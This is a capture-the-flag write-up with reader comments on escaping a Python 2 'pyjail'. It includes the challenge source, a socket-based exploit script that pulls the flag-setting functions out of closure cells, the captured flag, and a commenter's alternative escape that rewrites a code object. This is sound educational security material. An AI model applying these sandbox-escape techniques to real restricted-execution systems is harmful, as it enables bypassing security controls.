To get a flag in "yet another pyjail" task I've used the next approach:
Due to a source code of the task:
the flag is consists of two parts. First part of the flag is set inside we_must_be_sure_flag_part1_is_ready function, and a second part inside we_must_be_sure_flag_part2_is_ready function.
So to get the flag we need to call these functions consequentially. After that, assert statement:
assert FLAG != part1_of_flag will be successfully passed and the flag will be printed.
Using func_closure of div, I received a tuple of cells that contain bindings for the function’s free variables.
And I've found needed functions:
div.func_closure[8] – we_must_be_sure_flag_part1_is_ready function
div.func_closure[9] – we_must_be_sure_flag_part2_is_ready function
After calling them I've successfully got a flag!
Here is a full exploit code:
And the output is:
The flag is:
Due to a source code of the task:
import re import sys import string from sys import stdout sys.stderr = stdout sanitize = re.compile( r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)' ).sub trusted_builtins = """ True False type int """.split() alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}' t1 = ''.join(chr(code) for code in xrange(256)) t2 = [] for i in t1: if i in alphabet: t2.append(i) else: t2.append(' ') trans_table = string.maketrans(t1, ''.join(t2)) EXPECTED = 13.37 del alphabet, t1, t2, i, sys, string, re def clear_builtins(): orig = __builtins__.__dict__.copy() __builtins__.__dict__.clear() for i in trusted_builtins: __builtins__.__dict__[i] = orig[i] part1_of_flag = '******************' part2_of_flag = '******************' egg = 'egg' def main(): if raw_input() != 'leetleetleetleet': return print ('Welcome to pyjail!\n\n' 'Try to get the flag!\n' 'Use ctrl+D or --- to submit your code\n') stdout.flush() code = [] total_bytes = 0 while True: try: value = raw_input() total_bytes += len(value) assert total_bytes < 1337 if value == '---': break code.append(value) except EOFError: break code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table)) clear_builtins() def sandbox(): t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0 def exec_in_context(ctx): exec code in ctx print 'Flag is', try: assert FLAG != part1_of_flag print FLAG except: print '********************' def we_must_be_sure_flag_part1_is_ready(): global FLAG FLAG = part1_of_flag def we_must_be_sure_flag_part2_is_ready(): global FLAG FLAG += part2_of_flag def divider(v1): a = "You are lucky!" b = "Try again!" def divider(v2): i,t,s, n,o,t, s,o, h,a,r,d if int(v1) / int(v2) == EXPECTED: print a we_must_be_sure_flag_part2_is_ready() else: print b we_must_be_sure_flag_part1_is_ready() return divider exec_in_context({'div': divider}) sandbox() if __name__ == '__main__': main()
So to get the flag we need to call these functions consequentially. After that, assert statement:
assert FLAG != part1_of_flag will be successfully passed and the flag will be printed.
Using func_closure of div, I received a tuple of cells that contain bindings for the function’s free variables.
And I've found needed functions:
div.func_closure[8] – we_must_be_sure_flag_part1_is_ready function
div.func_closure[9] – we_must_be_sure_flag_part2_is_ready function
After calling them I've successfully got a flag!
Here is a full exploit code:
import socket server_ip = '195.133.87.177' server_port = 1337 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((server_ip, server_port)) s.send('leetleetleetleet' + '\n') print s.recv(1000) code = 'def get_cell_value(cell):return type(lambda:0)((lambda x: lambda: x)(0).func_code, {}, None, None, (cell,))();\n' code += 'print get_cell_value(div.func_closure[8])();\n' code += 'print get_cell_value(div.func_closure[9])();\n' s.send(code + '\n') s.send('---' + '\n') print s.recv(1000) print s.recv(1000) print s.recv(1000) s.close()
Welcome to pyjail! Try to get the flag! Use ctrl+D or --- to submit your code None None Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
Here's a different approach to solving the task. I think that's what we were expected to do, since it uses type and False.
ReplyDeletef = div(0) # dividing zero ...
names = [i for i in f.func_code.co_names] # That equals to ['int', 'EXPECTED']
names[1] = type(f.func_name)(False) # 'type(f.func_name)' is 'str' function, and 'type(f.func_name)(False)' is 'str(False)' which gives us 'False' string
# So now 'names' equals to ['int', 'False'] and 'int(v1) / int(v2)' is compared to False instead of EXPECTED
names = type(())(names) # making names a tuple
f.func_code = type(f.func_code)(
f.func_code.co_argcount, 1,
f.func_code.co_stacksize, f.func_code.co_flags, f.func_code.co_code,
f.func_code.co_consts, names, f.func_code.co_varnames,
f.func_code.co_filename, f.func_code.co_name, f.func_code.co_firstlineno,
f.func_code.co_lnotab, f.func_code.co_freevars, f.func_code.co_cellvars
) # copying 'div' function
f(1) # dividing zero ... by one. And getting 0, which is equal to False. Boom!
Nice! :) take a look at this one:
Deletehttp://blog.zengeek.org/490-phdays-ctf-quals-2014-yet-another-pyjail-writeup
Thanks! Simple and elegant solution.
Delete